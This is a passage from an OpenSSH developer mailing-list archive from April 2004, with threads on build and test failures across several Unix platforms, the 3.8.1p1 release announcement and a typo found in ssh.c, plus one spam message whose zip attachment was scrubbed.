> >    the corresponding code from auth-passwd.c seems to have disappeared.
> > 
> >    I assume that a "CUSTOM_SYS_AUTH_PASSWD" module needs to be written
> >    to support SECUREWARE.
> 
> The getprpwname() stuff has just moved to openbsd-compat/xcrypt.c, 

Ah! I saw that module using "grep getprpwnam()", but didn't fully 
understand the code behind it.

> perhaps the #ifdef's aren't quite right?

config.h has

/* Define if you have SecureWare-based protected password database */
#define HAVE_SECUREWARE 1

so it "should" be right.

Will do more debugging tonight.

gert

-- 
USENET is *not* the non-clickable part of WWW!
                                                           //www.muc.de/~gert/
Gert Doering - Munich, Germany                             gert at greenie.muc.de
fax: +49-89-35655025                        gert at net.informatik.tu-muenchen.de



From dtucker at zip.com.au  Mon Apr 19 19:58:47 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Mon, 19 Apr 2004 19:58:47 +1000
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <20040419085831.C12611@greenie.muc.de>
References: <407BFC64.5030702@zip.com.au>
	<407F0A42.9040708@mindrot.org>	<20040418203542.U12611@greenie.muc.de>	<40831540.6040000@zip.com.au>
	<20040419085831.C12611@greenie.muc.de>
Message-ID: <4083A2D7.8020200@zip.com.au>

Gert Doering wrote:
> I assume it's some set*id() switching hickup.  With earlier openssh
> versions, this is not an issue...:

What date was your snapshot?  Tim recently added these to configure.ac, 
which may make the difference:

revision 1.214
date: 2004/04/17 03:03:07;  author: tim;  state: Exp;  lines: +4 -1
  - (tim) [configure.ac] Set SETEUID_BREAKS_SETUID, BROKEN_SETREUID and
    BROKEN_SETREGID for SCO OpenServer 3

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From gert at greenie.muc.de  Mon Apr 19 20:32:44 2004
From: gert at greenie.muc.de (Gert Doering)
Date: Mon, 19 Apr 2004 12:32:44 +0200
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <4083A2D7.8020200@zip.com.au>;
	from dtucker@zip.com.au on Mon, Apr 19, 2004 at 07:58:47PM +1000
References: <407BFC64.5030702@zip.com.au> <407F0A42.9040708@mindrot.org>
	<20040418203542.U12611@greenie.muc.de>
	<40831540.6040000@zip.com.au>
	<20040419085831.C12611@greenie.muc.de>
	<4083A2D7.8020200@zip.com.au>
Message-ID: <20040419123242.N12611@greenie.muc.de>

Hi,

On Mon, Apr 19, 2004 at 07:58:47PM +1000, Darren Tucker wrote:
> Gert Doering wrote:
> > I assume it's some set*id() switching hickup.  With earlier openssh
> > versions, this is not an issue...:
> 
> What date was your snapshot?  

anoncvs as of yesterday evening (about 18:00 GMT).

> Tim recently added these to configure.ac, 
> which may make the difference:
> 
> revision 1.214
> date: 2004/04/17 03:03:07;  author: tim;  state: Exp;  lines: +4 -1
>   - (tim) [configure.ac] Set SETEUID_BREAKS_SETUID, BROKEN_SETREUID and
>     BROKEN_SETREGID for SCO OpenServer 3

I already have those.

Need to do more debugging and single-stepping to figure out what's 
really going on in there...

gert
-- 
USENET is *not* the non-clickable part of WWW!
                                                           //www.muc.de/~gert/
Gert Doering - Munich, Germany                             gert at greenie.muc.de
fax: +49-89-35655025                        gert at net.informatik.tu-muenchen.de



From djm at openbsd.org  Mon Apr 19 23:27:51 2004
From: djm at openbsd.org (Damien Miller)
Date: Mon, 19 Apr 2004 07:27:51 -0600 (MDT)
Subject: Portable OpenSSH 3.8.1p1 released
Message-ID: <200404191327.i3JDRpua030335@cvs.openbsd.org>

OpenSSH 3.8.1p1 has just been released. It will be available from 
the mirrors listed at http://www.openssh.com/ shortly. 

This release is a bug-fix release for the portable version. There are
no feature additions and no corresponding OpenBSD-only release.

OpenSSH is a 100% complete SSH protocol version 1.3, 1.5 and 2.0
implementation and includes sftp client and server support.

We would like to thank the OpenSSH community for their continued
support to the project, especially those who contributed source, help
with testing and have bought T-shirts or posters.

We have a new design of T-shirt available, more info on
        http://www.openbsd.org/tshirts.html#18

For international orders use http://https.openbsd.org/cgi-bin/order
and for European orders, use http://https.openbsd.org/cgi-bin/order.eu

Bugs fixed since OpenSSH 3.8p1:
=============================== 

Bug #673 - Fix compilation on NetBSD with S/Key enabled

Bug #748 - Detect and workaround broken name resolution on HP-UX 

Bug #802 - Fix linking on Tru64 when compiled with SIA support

Bug #808 - Fix PAM crash on expired password when not authenticated using 
           pam/kbdint mechanism

Bug #810 - Fix erroneous clearing of TZ environment variable

Bug #811 - Improve locked password detection across Linux variants

Bug #820 - Fix utmp corruption on Irix

Bug #825 - Fix disconnection problem when using IPv4-in-IPv6 mapped
           addresses on Solaris.

- Fix compilation on OS X systems with Kerberos/GSSAPI

- Many more minor fixes, please refer to the ChangeLog file for details

Checksums:
==========

- MD5 (openssh-3.8.1p1.tar.gz) = 1dbfd40ae683f822ae917eebf171ca42


Reporting Bugs:
===============

- please read http://www.openssh.com/report.html
  and http://bugzilla.mindrot.org/

OpenSSH is brought to you by Markus Friedl, Niels Provos, Theo de Raadt,
Kevin Steves, Damien Miller, Ben Lindstrom, Darren Tucker and Tim Rice.



From dopheide at ncsa.uiuc.edu  Tue Apr 20 01:06:01 2004
From: dopheide at ncsa.uiuc.edu (Mike Dopheide)
Date: Mon, 19 Apr 2004 10:06:01 -0500 (CDT)
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <40805176.7090905@zip.com.au>
Message-ID: <Pine.LNX.4.44.0404191004170.15124-100000@osage.ncsa.uiuc.edu>

> Mike Dopheide wrote:
> > sftp Tests fail on IRIX 6.5:
> > ...
> > sftp commands: get filename with quotes
> > cmp:  EOF  on  /afs/ncsa/.u10/dopheide/openssh/test/openssh/regress/copy."blah"
> > corrupted copy after get with quotes
> 
> Maybe AFS (or possibly just IRIX's implementation of it) doesn't allow 
> quotes in filenames?  Does it fail if you run it on a local filesystem, 
> eg /tmp?

This still fails in /tmp.

-Mike



From cschneid at cschneid.com  Tue Apr 20 01:38:40 2004
From: cschneid at cschneid.com (Christian Schneider)
Date: Mon, 19 Apr 2004 17:38:40 +0200
Subject: Possible typo?
Message-ID: <4083F280.3020403@cschneid.com>

Just had a quick glance at the recents diffs of openssh and noted 
something which looks bogus to me:

diff -u -r1.209 -r1.210
--- src/usr.bin/ssh/ssh.c	2004/03/11 10:21:17	1.209
+++ src/usr.bin/ssh/ssh.c	2004/04/18 23:10:26	1.210
@@ -517,16 +517,17 @@
  	 * file if the user specifies a config file on the command line.
  	 */
  	if (config != NULL) {
-		if (!read_config_file(config, host, &options))
+		if (!read_config_file(config, host, &options, 0), 0)
  			fatal("Can't open user config file %.100s: "

The line
if (!read_config_file(config, host, &options, 0), 0)
seem so have one ", 0" too many, is this really intended or is this a typo?

- Chris




From robert at spectra.eng.hawaii.edu  Tue Apr 20 03:46:20 2004
From: robert at spectra.eng.hawaii.edu (robert at spectra.eng.hawaii.edu)
Date: Mon, 19 Apr 2004 14:46:20 -0300
Subject: unknown
Message-ID: <20040419174351.50F7B27C187@shitei.mindrot.org>

that's funny
-------------- next part --------------
A non-text attachment was scrubbed...
Name: concert.zip
Type: application/x-zip-compressed
Size: 22144 bytes
Desc: not available
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20040419/4355a7e9/attachment.bin 

From jose at monkey.org  Tue Apr 20 02:10:49 2004
From: jose at monkey.org (Jose Nazario)
Date: Mon, 19 Apr 2004 12:10:49 -0400 (EDT)
Subject: Portable OpenSSH 3.8.1p1 released
In-Reply-To: <200404191327.i3JDRtUg029497@cvs.openbsd.org>
References: <200404191327.i3JDRtUg029497@cvs.openbsd.org>
Message-ID: <Pine.BSO.4.58.0404191210240.12386@naughty.monkey.org>

deadly.org no longer posts new news, please see the people who run
undeadly. please update your announcement list ...

thanks!

________
jose nazario, ph.d.			jose at monkey.org
http://monkey.org/~jose/ 		http://infosecdaily.net/



From carbou.mathieu at courrier.uqam.ca  Tue Apr 20 04:33:39 2004
From: carbou.mathieu at courrier.uqam.ca (Mathieu Carbou)
Date: Mon, 19 Apr 2004 14:33:39 -0400
Subject: openssh-3.8p1 doesn't compile under Cygwin
Message-ID: <cdc48ceaca.ceacacdc48@sitel.uqam.ca>

Hello,

I've just downloaded openssh-3.8p1 and tried to compile it under 
Cygwin (that is up to date), but this didn't work...

i juste tried :

./configure
make

the configure seems to work but the make stopped because of an error 
compiling some files in the openbsd-compat folder (see the attachments 
for logs).

I have the last Zlib version and OpenSSL 0.9.7d 17 Mar 2004.

I also tried to compile openssh-3.7p1 and it works well... So have 
there been any changes that could habe broken Cygwin compatibility ?

Thanks,

Mathieu.


From tim at multitalents.net  Tue Apr 20 06:24:20 2004
From: tim at multitalents.net (Tim Rice)
Date: Mon, 19 Apr 2004 13:24:20 -0700 (PDT)
Subject: openssh-3.8p1 doesn't compile under Cygwin
In-Reply-To: <cdc48ceaca.ceacacdc48@sitel.uqam.ca>
References: <cdc48ceaca.ceacacdc48@sitel.uqam.ca>
Message-ID: <Pine.UW2.4.59.99.0404191323370.2675@uw713.int.multitalents.net>

On Mon, 19 Apr 2004, Mathieu Carbou wrote:

> Hello,
> 
> I've just downloaded openssh-3.8p1 and tried to compile it under 
> Cygwin (that is up to date), but this didn't work...

Try 3.8.1p1 and report back.


-- 
Tim Rice				Multitalents	(707) 887-1469
tim at multitalents.net




From vinschen at redhat.com  Tue Apr 20 06:26:52 2004
From: vinschen at redhat.com (Corinna Vinschen)
Date: Mon, 19 Apr 2004 22:26:52 +0200
Subject: openssh-3.8p1 doesn't compile under Cygwin
In-Reply-To: <cdc48ceaca.ceacacdc48@sitel.uqam.ca>
References: <cdc48ceaca.ceacacdc48@sitel.uqam.ca>
Message-ID: <20040419202652.GA22920@cygbert.vinschen.de>

On Apr 19 14:33, Mathieu Carbou wrote:
> Hello,
> 
> I've just downloaded openssh-3.8p1 and tried to compile it under 
> Cygwin (that is up to date), but this didn't work...
> 
> i juste tried :
> 
> ./configure
> make
> 
> the configure seems to work but the make stopped because of an error 
> compiling some files in the openbsd-compat folder (see the attachments 
> for logs).

Builds OOTB.

> I have the last Zlib version and OpenSSL 0.9.7d 17 Mar 2004.
> 
> I also tried to compile openssh-3.7p1 and it works well... So have 
> there been any changes that could habe broken Cygwin compatibility ?

Yes.  You have to have minires-devel installed when building OpenSSH.
But why don't you just use the binaries from the Cygwin net distro?
They are build from the vanilla portable OpenSSH sources.  I've just
uploaded 3.8.1p1.


Corinna


-- 
Corinna Vinschen
Cygwin Co-Project Leader
Red Hat, Inc.



From gert at greenie.muc.de  Tue Apr 20 06:32:00 2004
From: gert at greenie.muc.de (Gert Doering)
Date: Mon, 19 Apr 2004 22:32:00 +0200
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <40831540.6040000@zip.com.au>;
	from dtucker@zip.com.au on Mon, Apr 19, 2004 at 09:54:40AM +1000
References: <407BFC64.5030702@zip.com.au> <407F0A42.9040708@mindrot.org>
	<20040418203542.U12611@greenie.muc.de>
	<40831540.6040000@zip.com.au>
Message-ID: <20040419223200.X12611@greenie.muc.de>

Hi,

On Mon, Apr 19, 2004 at 09:54:40AM +1000, Darren Tucker wrote:
> > fixed by adding an explicit "extern int h_errno;" to that file.
> 
> I think we should have configure test for its presence rather than 
> (re)declaring it unconditionally.  Please try attached patch (you will 
> need to run "autoconf" before running configure).

Confirmed: will recognize the missing h_errno and add the appropriate
defines.

More debugging about the suid issues to come.

gert
-- 
USENET is *not* the non-clickable part of WWW!
                                                           //www.muc.de/~gert/
Gert Doering - Munich, Germany                             gert at greenie.muc.de
fax: +49-89-35655025                        gert at net.informatik.tu-muenchen.de



From djm at mindrot.org  Tue Apr 20 07:43:57 2004
From: djm at mindrot.org (Damien Miller)
Date: Tue, 20 Apr 2004 07:43:57 +1000
Subject: Possible typo?
In-Reply-To: <4083F280.3020403@cschneid.com>
References: <4083F280.3020403@cschneid.com>
Message-ID: <4084481D.9040904@mindrot.org>

Christian Schneider wrote:
> Just had a quick glance at the recents diffs of openssh and noted 
> something which looks bogus to me:
> 
> diff -u -r1.209 -r1.210
> --- src/usr.bin/ssh/ssh.c	2004/03/11 10:21:17	1.209
> +++ src/usr.bin/ssh/ssh.c	2004/04/18 23:10:26	1.210
> @@ -517,16 +517,17 @@
>   	 * file if the user specifies a config file on the command line.
>   	 */
>   	if (config != NULL) {
> -		if (!read_config_file(config, host, &options))
> +		if (!read_config_file(config, host, &options, 0), 0)
>   			fatal("Can't open user config file %.100s: "
> 
> The line
> if (!read_config_file(config, host, &options, 0), 0)
> seem so have one ", 0" too many, is this really intended or is this a typo?

Yes, it a typo - luckily harmless. I'm committing a fix now.

-d



From esolomon at ticketweb.com  Tue Apr 20 07:51:16 2004
From: esolomon at ticketweb.com (Eric Solomon)
Date: Mon, 19 Apr 2004 14:51:16 -0700
Subject: Eric Solomon no longer works for TicketWeb.  
Message-ID: <10404191451.AA01676@ticketweb.com>

Eric Solomon no longer works for TicketWeb.  

For assistance with technical matters, please contact:

Debbie Campbell at deb at ticketweb.com
or 
Mike Lindsey at mikel at ticketweb.com.

Thank you for using TicketWeb.



From binder at arago.de  Tue Apr 20 19:09:36 2004
From: binder at arago.de (Thomas Binder)
Date: Tue, 20 Apr 2004 11:09:36 +0200
Subject: Possible typo?
In-Reply-To: <4084481D.9040904@mindrot.org>
References: <4083F280.3020403@cschneid.com> <4084481D.9040904@mindrot.org>
Message-ID: <20040420090936.GA45362984@ohm.arago.de>

Hi!

On Tue, Apr 20, 2004 at 07:43:57AM +1000, Damien Miller wrote:
> >   	if (config != NULL) {
> > -		if (!read_config_file(config, host, &options))
> > +		if (!read_config_file(config, host, &options, 0), 0)
> >   			fatal("Can't open user config file %.100s: "
> 
> Yes, it a typo - luckily harmless. I'm committing a fix now.

I may be missing something, but doesn't that stop ssh from
fatal()ing on errors in the config file? Depending on the
circumstances, this might not be completely harmless.


Ciao

Thomas
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 186 bytes
Desc: not available
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20040420/3d63139b/attachment.bin 

From A.D.Elwell at dl.ac.uk  Tue Apr 20 19:39:45 2004
From: A.D.Elwell at dl.ac.uk (Elwell, AD (Andrew))
Date: Tue, 20 Apr 2004 10:39:45 +0100
Subject: Compiling 3.8p1 on AIX with IBM OpenSSL RPMs
Message-ID: <D167B04B5CBED5119AF400034743A542020AC555@exchange06.dl.ac.uk>

Folks,

I've just updated a machine to the latest IBM supplied OpenSSL RPMS:	
	openssl-0.9.6m-1
openssl-devel-0.9.6m-1

(this is a power4 running AIX 5.1)
and Tried to upgrade to the latest OpenSSH (3.8p1 - both the release and a
snapshot from about a week ago)

I'm using:

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-ssl-dir=/opt/freeware

and the compilation seems OK:

OpenSSH has been configured with the following options:
                     User binaries: /usr/bin
                   System binaries: /usr/sbin
               Configuration files: /etc/ssh
                   Askpass program: /usr/libexec/ssh-askpass
                      Manual pages: /usr/man/manX
                          PID file: /etc/ssh
  Privilege separation chroot path: /var/empty
            sshd default user PATH: /usr/bin:/bin:/usr/sbin:/sbin
                    Manpage format: man
                       PAM support: no
                 KerberosV support: no
                 Smartcard support: no
                     S/KEY support: no
              TCP Wrappers support: no
              MD5 password support: no
       IP address in $DISPLAY hack: no
           Translate v4 in v6 hack: no
                  BSD Auth support: no
              Random number source: ssh-rand-helper
     ssh-rand-helper collects from: Command hashing (timeout 200)

              Host: powerpc-ibm-aix5.1.0.0
          Compiler: cc
    Compiler flags: -g
Preprocessor flags: -I/opt/freeware/include
      Linker flags: -L/opt/freeware/lib  -blibpath:/usr/lib:/lib
         Libraries:   -lcrypto -lz


(yes it does pick up the correct SSL version :
checking OpenSSL header version... 9060df (OpenSSL 0.9.6m 17 Mar 2004)
checking OpenSSL library version... 9060df (OpenSSL 0.9.6m 17 Mar 2004)
checking whether OpenSSL's headers match the library... yes
checking whether OpenSSL's PRNG is internally seeded... no

But when I come to run the SSH client or daemon I get:
 ./ssh localhost
exec(): 0509-036 Cannot load program ./ssh because of the following errors:
        0509-150   Dependent module libcrypto.a(libcrypto.so.0) could not be
loaded.
        0509-022 Cannot load module libcrypto.a(libcrypto.so.0).
        0509-026 System error: A file or directory in the path name does not
exist.


Now, is this a fubarred installation of OpenSSL (libcrypto.so.0 doesn't
exist in the RPM)
or do I need to add a flag to force the static version?

 ls -l /opt/freeware/lib/libcrypto*
-rw-r--r--    1 root     system    4317970 Mar 18 17:11
/opt/freeware/lib/libcrypto-static.a
-rwxr-xr-x    1 root     system    3454530 Mar 18 17:11
/opt/freeware/lib/libcrypto.a


Many thanks

Andrew
-- 
Andrew Elwell <A.D.Elwell at dl.ac.uk>
Room C5, Daresbury Laboratory,
Keckwick Lane, Daresbury, WARRINGTON, WA4 4AD
Tel: +44 (0)1925 603966
Mob: +44 (0)7952 922263 <-- NEW NUMBER
Pager: 08700 555500 [883616]



From dtucker at zip.com.au  Tue Apr 20 23:18:29 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Tue, 20 Apr 2004 23:18:29 +1000
Subject: Compiling 3.8p1 on AIX with IBM OpenSSL RPMs
In-Reply-To: <D167B04B5CBED5119AF400034743A542020AC555@exchange06.dl.ac.uk>
References: <D167B04B5CBED5119AF400034743A542020AC555@exchange06.dl.ac.uk>
Message-ID: <40852325.6040006@zip.com.au>

Elwell, AD (Andrew) wrote:
> Folks,
> 
> I've just updated a machine to the latest IBM supplied OpenSSL RPMS:	
> 	openssl-0.9.6m-1
> openssl-devel-0.9.6m-1
> 
> (this is a power4 running AIX 5.1)
> and Tried to upgrade to the latest OpenSSH (3.8p1 - both the release and a
> snapshot from about a week ago)

> ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-ssl-dir=/opt/freeware

Try:
blibpath="/usr/lib:/lib:/opt/freeware/lib" ./configure [other options]

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From A.D.Elwell at dl.ac.uk  Tue Apr 20 23:39:54 2004
From: A.D.Elwell at dl.ac.uk (Elwell, AD (Andrew))
Date: Tue, 20 Apr 2004 14:39:54 +0100
Subject: Compiling 3.8p1 on AIX with IBM OpenSSL RPMs
Message-ID: <D167B04B5CBED5119AF400034743A542020AC559@exchange06.dl.ac.uk>


> Try:
> blibpath="/usr/lib:/lib:/opt/freeware/lib" ./configure [other options]

Ahem. Shoulda Guessed. GLOBUS had screwed up my environment and stripped
/opt/freeware/lib 
from my LIBPATH.

seems to be OK at the moment - well it got as far as make tests anyhow
before it fell over (see output)

possibly OT (I don't imagine many lawyers in openssh-unix-dev) - What are
the legal implications of allowing the SSH banner to be supressed using "ssh
-q $host" if you have a "authorised users only...." type banner on $host -
based on UK law. 

Ta Muchly
Andrew

-- output from "make tests" --
(cd openbsd-compat && make)
make[1]: Entering directory
`/tnd/work/z002/z002/ade45/openssh-3.8p1/openbsd-compat'
make[1]: Nothing to be done for `all'.
make[1]: Leaving directory
`/tnd/work/z002/z002/ade45/openssh-3.8p1/openbsd-compat'
BUILDDIR=`pwd`; \
[ -d `pwd`/regress ]  ||  mkdir -p `pwd`/regress; \
[ -f `pwd`/regress/Makefile ]  || \
    ln -s ./regress/Makefile `pwd`/regress/Makefile ; \
TEST_SHELL="/opt/freeware/bin/bash"; \
TEST_SSH_SSH="${BUILDDIR}/ssh"; \
TEST_SSH_SSHD="${BUILDDIR}/sshd"; \
TEST_SSH_SSHAGENT="${BUILDDIR}/ssh-agent"; \
TEST_SSH_SSHADD="${BUILDDIR}/ssh-add"; \
TEST_SSH_SSHKEYGEN="${BUILDDIR}/ssh-keygen"; \
TEST_SSH_SSHKEYSCAN="${BUILDDIR}/ssh-keyscan"; \
TEST_SSH_SFTP="${BUILDDIR}/sftp"; \
TEST_SSH_SFTPSERVER="${BUILDDIR}/sftp-server"; \
cd ./regress || exit $?; \
make \
        .OBJDIR="${BUILDDIR}/regress" \
        .CURDIR="`pwd`" \
        BUILDDIR="${BUILDDIR}" \
        OBJ="${BUILDDIR}/regress/" \
        PATH="${BUILDDIR}:${PATH}" \
        TEST_SHELL="${TEST_SHELL}" \
        TEST_SSH_SSH="${TEST_SSH_SSH}" \
        TEST_SSH_SSHD="${TEST_SSH_SSHD}" \
        TEST_SSH_SSHAGENT="${TEST_SSH_SSHAGENT}" \
        TEST_SSH_SSHADD="${TEST_SSH_SSHADD}" \
        TEST_SSH_SSHKEYGEN="${TEST_SSH_SSHKEYGEN}" \
        TEST_SSH_SSHKEYSCAN="${TEST_SSH_SSHKEYSCAN}" \
        TEST_SSH_SFTP="${TEST_SSH_SFTP}" \
        TEST_SSH_SFTPSERVER="${TEST_SSH_SFTPSERVER}" \
        EXEEXT="" \
        tests
make[1]: Entering directory
`/tnd/work/z002/z002/ade45/openssh-3.8p1/regress'
ssh-keygen -if
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress/rsa_ssh2.prv | diff
- /tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress/rsa_openssh.prv
cat /tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress/rsa_openssh.prv
> /tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress//t2.out
chmod 600 /tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress//t2.out
ssh-keygen -yf
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress//t2.out | diff -
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress/rsa_openssh.pub
ssh-keygen -ef
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress/rsa_openssh.pub
>/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress//rsa_secsh.pub
ssh-keygen -if
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress//rsa_secsh.pub |
diff -
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress/rsa_openssh.pub
rm -f /tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress/rsa_secsh.pub
ssh-keygen -lf
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress/rsa_openssh.pub |\
        awk '{print $2}' | diff -
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress/t4.ok
ssh-keygen -Bf
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress/rsa_openssh.pub |\
        awk '{print $2}' | diff -
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress/t5.ok
ssh-keygen -if
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress/dsa_ssh2.prv >
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress//t6.out1
ssh-keygen -if
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress/dsa_ssh2.pub >
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress//t6.out2
chmod 600 /tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress//t6.out1
ssh-keygen -yf
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress//t6.out1 | diff -
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress//t6.out2
ssh-keygen -q -t rsa -N '' -f
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress//t7.out
ssh-keygen -lf
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress//t7.out > /dev/null
ssh-keygen -Bf
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/regress//t7.out > /dev/null
run test connect.sh ...
ok simple connect
run test proxy-connect.sh ...
ok proxy connect
run test connect-privsep.sh ...
ok proxy connect with privsep
run test proto-version.sh ...
ok sshd version with different protocol combinations
run test proto-mismatch.sh ...
ok protocol version mismatch
run test exit-status.sh ...
test remote exit status: proto 1 status 0
test remote exit status: proto 1 status 1
test remote exit status: proto 1 status 4
test remote exit status: proto 1 status 5
test remote exit status: proto 1 status 44
test remote exit status: proto 2 status 0
test remote exit status: proto 2 status 1
test remote exit status: proto 2 status 4
test remote exit status: proto 2 status 5
test remote exit status: proto 2 status 44
ok remote exit status
run test transfer.sh ...
transfer data: proto 1
transfer data: proto 2
ok transfer data
run test banner.sh ...
test banner: missing banner file
test banner: size 0
test banner: size 10
test banner: size 100
test banner: size 1000
test banner: size 10000
test banner: size 100000
test banner: suppress banner (-q)
ok banner
run test rekey.sh ...
ok rekey during transfer data
run test stderr-data.sh ...
test stderr data transfer: proto 1 ()
test stderr data transfer: proto 2 ()
test stderr data transfer: proto 1 (-n)
test stderr data transfer: proto 2 (-n)
ok stderr data transfer
run test stderr-after-eof.sh ...
ok stderr data after eof
run test broken-pipe.sh ...
ok broken pipe test
run test try-ciphers.sh ...
test try ciphers: proto 2 cipher aes128-cbc mac hmac-sha1
test try ciphers: proto 2 cipher aes128-cbc mac hmac-md5
test try ciphers: proto 2 cipher aes128-cbc mac hmac-sha1-96
test try ciphers: proto 2 cipher aes128-cbc mac hmac-md5-96
test try ciphers: proto 2 cipher 3des-cbc mac hmac-sha1
test try ciphers: proto 2 cipher 3des-cbc mac hmac-md5
test try ciphers: proto 2 cipher 3des-cbc mac hmac-sha1-96
test try ciphers: proto 2 cipher 3des-cbc mac hmac-md5-96
test try ciphers: proto 2 cipher blowfish-cbc mac hmac-sha1
test try ciphers: proto 2 cipher blowfish-cbc mac hmac-md5
test try ciphers: proto 2 cipher blowfish-cbc mac hmac-sha1-96
test try ciphers: proto 2 cipher blowfish-cbc mac hmac-md5-96
test try ciphers: proto 2 cipher cast128-cbc mac hmac-sha1
test try ciphers: proto 2 cipher cast128-cbc mac hmac-md5
test try ciphers: proto 2 cipher cast128-cbc mac hmac-sha1-96
test try ciphers: proto 2 cipher cast128-cbc mac hmac-md5-96
test try ciphers: proto 2 cipher arcfour mac hmac-sha1
test try ciphers: proto 2 cipher arcfour mac hmac-md5
test try ciphers: proto 2 cipher arcfour mac hmac-sha1-96
test try ciphers: proto 2 cipher arcfour mac hmac-md5-96
test try ciphers: proto 2 cipher aes192-cbc mac hmac-sha1
test try ciphers: proto 2 cipher aes192-cbc mac hmac-md5
test try ciphers: proto 2 cipher aes192-cbc mac hmac-sha1-96
test try ciphers: proto 2 cipher aes192-cbc mac hmac-md5-96
test try ciphers: proto 2 cipher aes256-cbc mac hmac-sha1
test try ciphers: proto 2 cipher aes256-cbc mac hmac-md5
test try ciphers: proto 2 cipher aes256-cbc mac hmac-sha1-96
test try ciphers: proto 2 cipher aes256-cbc mac hmac-md5-96
test try ciphers: proto 2 cipher rijndael-cbc at lysator.liu.se mac hmac-sha1
test try ciphers: proto 2 cipher rijndael-cbc at lysator.liu.se mac hmac-md5
test try ciphers: proto 2 cipher rijndael-cbc at lysator.liu.se mac
hmac-sha1-96
test try ciphers: proto 2 cipher rijndael-cbc at lysator.liu.se mac hmac-md5-96
test try ciphers: proto 2 cipher aes128-ctr mac hmac-sha1
test try ciphers: proto 2 cipher aes128-ctr mac hmac-md5
test try ciphers: proto 2 cipher aes128-ctr mac hmac-sha1-96
test try ciphers: proto 2 cipher aes128-ctr mac hmac-md5-96
test try ciphers: proto 2 cipher aes192-ctr mac hmac-sha1
test try ciphers: proto 2 cipher aes192-ctr mac hmac-md5
test try ciphers: proto 2 cipher aes192-ctr mac hmac-sha1-96
test try ciphers: proto 2 cipher aes192-ctr mac hmac-md5-96
test try ciphers: proto 2 cipher aes256-ctr mac hmac-sha1
test try ciphers: proto 2 cipher aes256-ctr mac hmac-md5
test try ciphers: proto 2 cipher aes256-ctr mac hmac-sha1-96
test try ciphers: proto 2 cipher aes256-ctr mac hmac-md5-96
test try ciphers: proto 1 cipher 3des
test try ciphers: proto 1 cipher blowfish
ok try ciphers
run test yes-head.sh ...
sh: There is no process to read data written to a pipe.
sh: There is no process to read data written to a pipe.
ok yes pipe head
run test agent.sh ...
ssh-add -l via agent fwd proto 1 failed (exit code 0)
exec(): 0509-036 Cannot load program
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/ssh because of the following
errors:
        0509-150   Dependent module libcrypto.a(libcrypto.so.0) could not be
loaded.
        0509-022 Cannot load module libcrypto.a(libcrypto.so.0).
        0509-026 System error: A file or directory in the path name does not
exist.
agent fwd proto 1 failed (exit code 0)
ssh-add -l via agent fwd proto 2 failed (exit code 0)
exec(): 0509-036 Cannot load program
/tnd/home/z002/z002/ade45/compile/openssh-3.8p1/ssh because of the following
errors:
        0509-150   Dependent module libcrypto.a(libcrypto.so.0) could not be
loaded.
        0509-022 Cannot load module libcrypto.a(libcrypto.so.0).
        0509-026 System error: A file or directory in the path name does not
exist.
agent fwd proto 2 failed (exit code 0)
failed simple agent test
make[1]: *** [t-exec] Error 1
make[1]: Leaving directory `/tnd/work/z002/z002/ade45/openssh-3.8p1/regress'
make: *** [tests] Error 2



From dtucker at zip.com.au  Wed Apr 21 00:01:39 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Wed, 21 Apr 2004 00:01:39 +1000
Subject: Compiling 3.8p1 on AIX with IBM OpenSSL RPMs
In-Reply-To: <D167B04B5CBED5119AF400034743A542020AC559@exchange06.dl.ac.uk>
References: <D167B04B5CBED5119AF400034743A542020AC559@exchange06.dl.ac.uk>
Message-ID: <40852D43.8010505@zip.com.au>

Elwell, AD (Andrew) wrote:

>>Try:
>>blibpath="/usr/lib:/lib:/opt/freeware/lib" ./configure [other options]
> 
> Ahem. Shoulda Guessed. GLOBUS had screwed up my environment and stripped
> /opt/freeware/lib 
> from my LIBPATH.
> 
> seems to be OK at the moment - well it got as far as make tests anyhow
> before it fell over (see output)

